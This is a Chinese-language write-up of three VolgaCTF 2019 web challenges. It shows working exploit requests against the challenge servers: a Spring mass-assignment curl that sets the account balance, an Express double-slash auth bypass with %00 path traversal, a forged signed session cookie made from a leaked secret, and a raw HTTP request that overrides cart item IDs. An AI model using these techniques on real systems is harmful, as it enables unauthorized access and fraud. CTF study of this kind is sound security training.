VolgaCTF 2019 Qualifier Web

0x00 前言

比赛地址: https://q.2019.volgactf.ru/tasks

时间: 星期五, 三月 29, 11:00 PM (23:00) — 星期日, 三月 31, 11:00 PM (23:00)

0x01 shop

  1. 信息泄露 robots.txt->shop.1.0.0.war
  2. 此处我直接使用idea自动对代码进行反编译,来对代码进行审计 漏洞主要存在于buy的路由处,在此处使用了spring mvc的@ModelAttribute。它的作用是从modle中获取一个对象,然后使用用户的请求request来赋值,这就造成我们可以对其中的某些变量进行控制。漏洞类型属于自动绑定漏洞。 从user类中我们看到可以控制balance。(PS:自动绑定漏洞是调用set和get方法的并不是直接操控变量或者数据库值)
1
2
3
4
5
6
7
public Integer getBalance() {
return this.balance;
}

public void setBalance(Integer weight) {
this.balance = weight;
}

而从程序的校验来看如果可以控制balance那么就可以满足校验,从而成功购买flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@RequestMapping({"/buy"})
public String buy(@RequestParam Integer productId, @ModelAttribute("user") User user, RedirectAttributes redir, HttpServletRequest request) {
HttpSession session = request.getSession();
if (session.getAttribute("user_id") == null) {
return "redirect:index";
} else {
Product product = this.productDao.geProduct(productId);
if (product != null) {
if (product.getPrice() <= user.getBalance()) {
user.setBalance(user.getBalance() - product.getPrice());
user.getCartItems().add(product);
this.userDao.update(user);
redir.addFlashAttribute("message", "Successful purchase");
return "redirect:profile";
}

redir.addFlashAttribute("message", "Not enough money");
} else {
redir.addFlashAttribute("message", "Product not found");
}

return "redirect:index";
}
}

payload

1
curl -i http://shop.q.2019.volgactf.ru/buy --cookie "JSESSIONID=9C636630989A68978E11C28CCAABA31F" --data "productId=4&balance=100000" -L

flag

1
VolgaCTF{c6bc0c68f0d0dac189aa9031f8607dba}

0x02 HeadHunter

  1. 进行信息收集 使用dirsearch收集到如下信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[22:14:44] 301 -  194B  - /js  ->  http://142.93.204.169/js/
[22:18:24] 403 - 0B - /api/error_log
[22:18:24] 403 - 0B - /api/
[22:18:24] 200 - 35B - /api
[22:18:24] 200 - 35B - /apibuild.pyc
[22:19:20] 301 - 194B - /css -> http://142.93.204.169/css/
[22:20:09] 301 - 194B - /js -> http://142.93.204.169/js/
[22:20:18] 200 - 3KB - /login
[22:20:18] 200 - 3KB - /login.cgi
[22:20:18] 200 - 3KB - /login.html
[22:20:18] 200 - 3KB - /login.jsp
[22:20:18] 200 - 3KB - /login.js
[22:20:18] 200 - 3KB - /login.php
[22:20:18] 200 - 3KB - /login.pl
[22:20:19] 200 - 3KB - /login.rb
[22:20:19] 200 - 3KB - /login.shtml
[22:20:19] 200 - 3KB - /login.py
[22:20:19] 200 - 3KB - /login.srf
[22:20:19] 200 - 3KB - /login/
[22:20:19] 200 - 3KB - /login/admin/
[22:20:19] 200 - 3KB - /login/cpanel/
[22:20:19] 200 - 3KB - /login/cpanel.js
[22:20:19] 200 - 3KB - /login.htm
[22:20:19] 200 - 3KB - /login/oauth/
[22:20:19] 200 - 3KB - /login_admin.js
[22:20:19] 200 - 3KB - /login_admin
[22:20:19] 200 - 3KB - /logins.txt
[22:20:20] 200 - 3KB - /login/administrator/
[22:20:43] 200 - 459B - /package.json
[22:21:18] 301 - 194B - /sessions -> http://142.93.204.169/sessions/
[22:21:18] 200 - 169B - /sessions/

查看/js/可以列出当前站点的文件

3DE72E1C-10EE-467F-9B32-2FFAA471CBD0.png

由以上信息基本可以判断出目标站点是一个node.js开发的站点

  1. 源码分析 首先看一下index.js的源码,首先可以看到是基于express框架开发的,${config.apiPrefix}/login,${config.apiPrefix}/logout, ${config.apiPrefix}/flag是实现的三个接口,如果想读flag的话,你的session必须是admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const express    = require('express');
const session = require('express-session');
const store = require('session-file-store')(session);
const proxy = require('http-proxy-middleware');
const parser = require('body-parser');
const fs = require('fs');
const app = express();

config = require('./config');
auth = require('./auth')();
config.session.store = new store();

app.use(parser.urlencoded({ extended: false }));
app.use(`${config.apiPrefix}/*`, session(config.session));
app.use(`${config.apiPrefix}/*`, auth.unless({path: config.whitelistPaths}));

app.post(`${config.apiPrefix}/login`, function (req, res) {
/* TODO: Implement login*/
res.redirect('/login');
});

app.get(`${config.apiPrefix}/logout`, function (req, res) {
/* TODO: Implement logout */
res.redirect('/login');
});

app.get(`${config.apiPrefix}/flag`, function (req, res) {
console.log(req.session);
if(req.session.name === 'admin')
res.end(fs.readFileSync('../../flag', 'utf8'));
else
res.status(403).send();
});

app.use(proxy(config.proxy));
app.listen(config.server.port);

之后看一下config.js文件的内容,可以知道监听的端口是4000,但是未知强求会转到代理端口5000,所以在这儿是可以列目录来读取源代码的。里面还写到了session的签名,以及白名单路由。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const config = {
apiPrefix: '/api',
server: {
port: 4000
},
proxy: {
target: 'http://localhost:5000',
autoRewrite: true
},
session: {
name: 'SESSION',
saveUninitialized: false,
secret: ';GmU1FSlVETF/vzEaBHP',
rolling: true,
resave: false
},
whitelistPaths: [
'/api/login', '/api/logout'
]
}

module.exports = config;

之前还扫描到了session路径,可见session应该是存储在文件中的。而main.js中又有可以请求文件的方法,所以可能我们可以利用这个点来读与一些文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$(document).ready(function() {
year = parseInt(location.pathname.slice(1)) || 2018;
$.getJSON(`/api/images?year=${year}`, function(data) {
$.each(data, function(key, img) {

$('<div>', {
class: 'col-lg-3 col-md-4 col-xs-6',
html: $('<a>', {
href: `/api/image?year=${year}&img=${img}`,
class: 'd-block mb-4 h-100',
html: $('<img>', {
class: 'img-fluid img-thumbnail',
src: `/api/image?year=${year}&img=${img}`,
alt: ''
})
})
}).appendTo($('#gallery'));;
});
}).fail(function() { location = '/login';});
});

auth.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const unless = require('express-unless');

const auth = function () {
var authm = function (req, res, next) {
console.log(req.session);
if (!req.session.name) {
res.status(403).send();
} else {
next();
}
}
authm.unless = unless;
return authm;
};

module.exports = auth;
  1. tips 在进行下一步测试之前,先提三个tips: (1) Express框架处理路径的时候是不规范的,因此/,//是存在区别的可以用于某些情况下的bypass; (2) PHP的小bug,%00截断(null byte injection)致使file_exists出错进而列目录; (3) session-file-store模块会将session存在json格式的文件中,如果指定session所在的目录,express-session模块将会去对应的目录下取出session信息;
  2. 漏洞利用 有了以上的信息,我们首先测试main.js提供的/api/images?year=${year}接口。首先利用第一个tips,express的非规范化路径,绕过auth.js的认证。 2CD29029-253F-4C33-AB17-48ED2554C4D9.png //的情况如下,可以看到已经绕过了认证并且应该可以读文件了。 613A1694-476E-43B2-ABE4-2518DD27D02C.png 但是当尝试读取image的时候却出现了如下报错,从错误信息上我们可以得到如下两点信息:首先,绝对路径是/var/www/apps/volga_gallery/storage/app/2019/img/;其次,这是一个laravel框架。56CE4CC6-3037-4150-B587-42670A1DC4F0.png 其实是我输入的年份没有图片,我修改为2018即得到如下信息,所以确认可以列目录下文件了。 4799816A-91C8-483F-94C0-B9949972CF3A.png 之前知道后端是采用PHP框架处理,所以我先在2018路径后注入%00,之后成功得到当前目录 24B686AC-603E-4CEE-A0F5-9F411FEE092B.png 之后继续查看其它目录信息,最终在//api/images?year=2018/../../../../volga_adminpanel%00路径下找到了session信息 B4CEB3D9-21DC-4625-9240-3F20EA3B2366.png BC67D40F-5399-4913-81D4-AE7364663FB9.png 659D85A9-3C60-4956-AC7A-55BCF3E3784E.png 但是我们并不能直接读取这个文件,因此就用到第3个tips,直接在cookie字段这个路径写入。但是这里是设计session的计算问题的。我在本地搭建了一个环境,修改了部分代码。 node_modules/express-session/index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function setcookie(res, name, val, secret, options) {
var signed = 's:' + signature.sign(val, secret);
var data = cookie.serialize(name, signed, options);

// sign my payload
var signed2 = 's:' + signature.sign("../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.json", secret);
var data2 = cookie.serialize(name, signed2, options);
console.log(data2)


debug('set-cookie %s', data);

var prev = res.getHeader('set-cookie') || [];
var header = Array.isArray(prev) ? prev.concat(data) : [prev, data];

res.setHeader('set-cookie', header)
}

index.js中增加

1
2
3
4
app.get(`${config.apiPrefix}/payload`,function (req, res){
req.session.test="test";
res.end("OK");
});

config.js

1
2
3
whitelistPaths: [
'/api/login', '/api/logout','/api/payload'
]

之后本地启动并访问 655D3C99-58E0-4B98-A334-AF401BD9C7A8.png 得到

1
s%3A..%2F..%2Fvolga_adminpanel%2Fsessions%2Feuzb7bMKx-5F29b2xNobGTDoWXmVFlEM.KrY7Bi6sZtBB%2FJ4sPnVj5QkDEuBu%2F0QelFQQqAV6yh4

之后设置cookie字段进行提交即可得到flag

1
curl -i http://gallery.q.2019.volgactf.ru/api/flag --cookie "SESSION=s%3A..%2F..%2Fvolga_adminpanel%2Fsessions%2Feuzb7bMKx-5F29b2xNobGTDoWXmVFlEM.KrY7Bi6sZtBB%2FJ4sPnVj5QkDEuBu%2F0QelFQQqAV6yh4" -L

63B08906-2188-472C-AC0C-4FB2634C838E.png

flag

1
VolgaCTF{31c2ac53d4101a01264775328797d424}

0x04 Blog

0x05 Shop V.2

  1. 信息泄露 robots.txt->shop.1.0.1.war
  2. 代码审计 这个版本在buy路由处已经修复了1.0.0版本的自动绑定漏洞,但是在profile是存在的,并且可以控制一些变量,此版本我们可以看到user类中多了对cart的处理,所以考虑使用cart来完成。
1
2
3
4
5
6
7
public List<Product> getCartItems() {
return this.cart;
}

public void setCartItems(List<Product> cart) {
this.cart = cart;
}

我们继续在controller中看下id是被使用做判断product的id的,那么很明显了,我们只要修改一下id就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@RequestMapping({"/profile"})
public String profile(@ModelAttribute("user") User user, Model templateModel, HttpServletRequest request) {
HttpSession session = request.getSession();
if (session.getAttribute("user_id") == null) {
return "redirect:index";
} else {
List<Product> cart = new ArrayList();
user.getCartItems().forEach((p) -> {
cart.add(this.productDao.geProduct(p.getId()));
});
templateModel.addAttribute("cart", cart);
return "profile";
}
}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /profile HTTP/1.1
Host: shop2.q.2019.volgactf.ru
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://shop2.q.2019.volgactf.ru/index
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Connection: close
Cookie: JSESSIONID=C77EBD253171F45F0E5F18DC4AB68B57
Upgrade-Insecure-Requests: 1

name=zeroyu&CartItems[0].id=4

flag

1
VolgaCTF{e86007271413cc1ac563c6eca0e12b62}